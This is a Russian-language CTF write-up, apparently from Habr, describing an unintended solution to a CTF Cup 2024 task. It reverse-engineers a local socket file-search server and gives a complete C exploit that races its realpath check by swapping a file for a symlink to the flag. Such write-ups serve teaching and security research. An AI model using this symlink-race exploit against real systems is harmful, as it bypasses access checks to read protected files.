Filesystem race condition. Незапланированное решение задачи на Кубке CTF 2024

В статье рассмотрим нестандартное решение задания на бинарную эксплуатацию — »R4v5h4n N Dj4m5hu7» и обойдем проверку реального пути к файлу

Задание распространяется в виде докера с 2 исполняемыми файлами и 2 конфигурационными файлами для серверной части

44404e34d0401b38bd640b6594ba9cd3.png

client, server — бинарные файлы. Клиентская и серверная часть

flag_file_path — файл с путем до флага

4a9237dfe120ed926d2c4a0552e7d5a3.png

server.cfg — файл с блокируемым путем. (об этом дальше)

dcf3a9d407096f33647ab13b9716dee7.png

Содержимое Dockerfile:

32b638d285be773c05caeb57bc529236.png

Содержимое entrypoint.sh:

a823cd6859684187e62b2c2ad6475772.png

Посмотрим на серверную часть. Откроем файл в IDA Pro и перейдем в декомпилированный вид. Приложение открывает сокет /home/task/log_socket

78eb475a8c5e68cc0a34cf74f7a8e689.png

И ждет подключения, после чего создает форк самого себя и запускает обработчик сообщений

49870d434ae1dcc9536a1a06fba857fd.png

Переключимся на клиентскую часть

Клиент подключается к сокету и ожидает ввода 2 строк — пути до файла и подстроки в этом файле. В общем, своеобразный grep для удаленной системы

f675fba91edb58a43f87378716bc1432.png

Вернемся к серверной части и обработчику сообщений

Здесь приложение вызывает функцию load config

И ожидает две строки от клиента — путь и подстроку.

Затем проверяет, является ли файл разрешенным и запускает обработчик файла или директории в зависимости от переданного пути

86af0b75ac7e431666a128a1b8a4f8eb.png

Посмотрим на функцию load_config (). Здесь приложение читает файл с путем до флага и сохраняет его в переменную flag_path, затем читает конфиг с блокируемыми файлами

e3bde0cc048f25f9db95e3f98332affc.png

И добавляет все файлы, которые лежат в директории /proc/self (содержимое файла server.cfg) в черный список

302a8bae579afaacf5903e2fe1cda27c.png0bf25092a3d92f30cfc2ecc55c9fb428.png

Заметим, что файл /home/task/flag не добавлен в черный список и перейдем к функции process_file. Здесь видим, что переданный в функцию путь преобразуется к реальному, т.е. разрешаются все ссылки и конструкции вида »…\» и ».\» и затем происходит проверка на соответствие реального пути файлу с флагом. Если путь указывает на флаг, получаем ошибку.

bddb98fa05504af431f8401c2d817eaa.png

Казалось бы, доступ к флагу просто чтением файла не получить, но можно провернуть трюк с гонкой.

Предположение следующее:

Если передать легитимный файл в директории, в которой решающий может создать файл (например, файл /home/ssh_user/test) и подменить его сразу после проверки реального пути, то получится прочитать флаг по ссылке.

Напишем собственный клиент.

Определим несколько дефайнов для удобства

#define TEST_FILE_PATH "/home/ssh_user/test"
#define SYMBOLIC_LINK_PATH "/home/ssh_user/aaa"
#define FLAG_FILE_PATH "/home/task/flag"
#define SOCKET_PATH "/home/task/log_socket"

Реализуем функцию отправки строки в сокет

unsigned long long send_string(char *sendstr, int socket_fd) {
    char input_buf[4096] = {0};
    int msg_len;
    char *newline = strchr(sendstr, '\n');
    if (newline) {
        *newline = '\0';
    }
    msg_len = strlen(sendstr) + 1;
    int ret = send(socket_fd, &msg_len, sizeof(int), 0);
    check_err(ret, "Connection closed");
    ret = send(socket_fd, sendstr, msg_len, 0);
    check_err(ret, "Connection closed");
    return 0;
}

Функция создания легитимного файла

void create_file(const char *path) {
    int fd = open(path, O_CREAT | O_WRONLY, 0644);
    if (fd == -1) {
        perror("Error creating file");
        exit(EXIT_FAILURE);
    }
    write(fd, "This is a test file.\n", 21);
    close(fd);
}

Создаем файл

create_file(TEST_FILE_PATH);

Подключаемся к сокету и отправляем входные данные:

        int sockfd = connect_socket(SOCKET_PATH);
		char first[] = "/home/ssh_user/test";
		char second[] = "{";
        int ret = send_string(first,sockfd);
        check_err(ret, "Failed to send '/home/ssh_user/test'");
        ret = send_string(second,sockfd);
        check_err(ret, "Failed to send '{'");

Затем необходимо в цикле реализовать схему:

1.      Удаление файлов — легитимного и ссылки на флаг

2.      Создание файла /home/ssh_user/test

3.      Создание ссылки на /home/task/flag

4.      Замена легитимного файла на ссылку

Цикл:

		for(int j = 0; j < 50; j++){
		remove(TEST_FILE_PATH);
		remove(SYMBOLIC_LINK_PATH);
        create_file(TEST_FILE_PATH);

        if (symlink(FLAG_FILE_PATH, SYMBOLIC_LINK_PATH) == -1) {
          close(sockfd);
          perror("Failed to create symbolic link");
          exit(EXIT_FAILURE);
        }			
		if (rename(SYMBOLIC_LINK_PATH, TEST_FILE_PATH) == -1) {
        perror("Failed to replace /home/ssh_user/test with /home/ssh_user/aaa");
        close(sockfd);
        exit(EXIT_FAILURE);
    }}

Очевидно, что не обязательно наша идея сработает с первого раза, поэтому оборачиваем все в цикл на 50 итераций и получаем готовый эксплоит:

Эксплоит

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define TEST_FILE_PATH "/home/ssh_user/test"
#define SYMBOLIC_LINK_PATH "/home/ssh_user/aaa"
#define FLAG_FILE_PATH "/home/task/flag"
#define SOCKET_PATH "/home/task/log_socket"

void check_err(int ret_val, const char *error_msg) {
    if (ret_val == -1) {
        perror(error_msg);
        exit(EXIT_FAILURE);
    }
}

void create_file(const char *path) {
    int fd = open(path, O_CREAT | O_WRONLY, 0644);
    if (fd == -1) {
        perror("Error creating file");
        exit(EXIT_FAILURE);
    }
    write(fd, "This is a test file.\n", 21);
    close(fd);
}


int connect_socket(const char *socket_path) {
    int sockfd;
    struct sockaddr_un addr;

    sockfd = socket(AF_UNIX, SOCK_STREAM, 0);
    check_err(sockfd, "Socket creation failed");

    memset(&addr, 0, sizeof(struct sockaddr_un));
    addr.sun_family = AF_UNIX;
    strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);

    if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr_un)) == -1) {
        perror("Socket connection failed");
        close(sockfd);
        exit(EXIT_FAILURE);
    }

    return sockfd;
}

unsigned long long send_string(char *sendstr, int socket_fd) {
    char input_buf[4096] = {0};
    int msg_len;
    

    char *newline = strchr(sendstr, '\n');
    if (newline) {
        *newline = '\0';
    }

    msg_len = strlen(sendstr) + 1;

    int ret = send(socket_fd, &msg_len, sizeof(int), 0);
    check_err(ret, "Connection closed");

    ret = send(socket_fd, sendstr, msg_len, 0);
    check_err(ret, "Connection closed");

    return 0;
}

int main(int argc, char * argv[]) {
    

    for (int i = 0; i < 50; i++) {
		remove(TEST_FILE_PATH);
		remove(SYMBOLIC_LINK_PATH);
        create_file(TEST_FILE_PATH);

        int sockfd = connect_socket(SOCKET_PATH);

		char first[] = "/home/ssh_user/test";
		char second[] = "{";
        int ret = send_string(first,sockfd);
        check_err(ret, "Failed to send '/home/ssh_user/test'");
        ret = send_string(second,sockfd);
        check_err(ret, "Failed to send '{'");

		for(int j = 0; j < 50; j++){
		remove(TEST_FILE_PATH);
		remove(SYMBOLIC_LINK_PATH);
        create_file(TEST_FILE_PATH);

        if (symlink(FLAG_FILE_PATH, SYMBOLIC_LINK_PATH) == -1) {
            perror("Failed to create symbolic link");
            exit(EXIT_FAILURE);
        }			
		if (rename(SYMBOLIC_LINK_PATH, TEST_FILE_PATH) == -1) {
        perror("Failed to replace /home/ssh_user/test with /home/ssh_user/aaa");
        close(sockfd);
        exit(EXIT_FAILURE);
    }
		}


		sleep(atoi(argv[1]));
        close(sockfd); 
    }

    
    printf("Operation completed successfully.\n");

    return 0;
}

Компилируем

gcc -o new_client new_client.c

Прокидываем на сервер и тестируем (флаг заменен на тестовый)

Запускаем сервер

066e0a1965d0752f505e4d637d902a9d.png

Запускаем клиент

2532c5b1d3317a7a1bb857caf32c46cd.png

И получаем результат на одной из попыток

2a25e60cae43aa1ceaaac1f98b7f9665.png

В результате мы обошли проверку реального пути с помощью функции realpath.

К слову, такая уязвимость является довольно серьезной и может приводить к опасным событиям. Например, к загрузке вредоносных модулей после проверки их легитимности. Единственное условие — возможность записи в директорию.

P.S.

Мы ведем telegram-канал AUTHORITY, в котором пишем об информационной безопасности и делимся инструментами, которые сами используем. Будем рады подписке

© Habrahabr.ru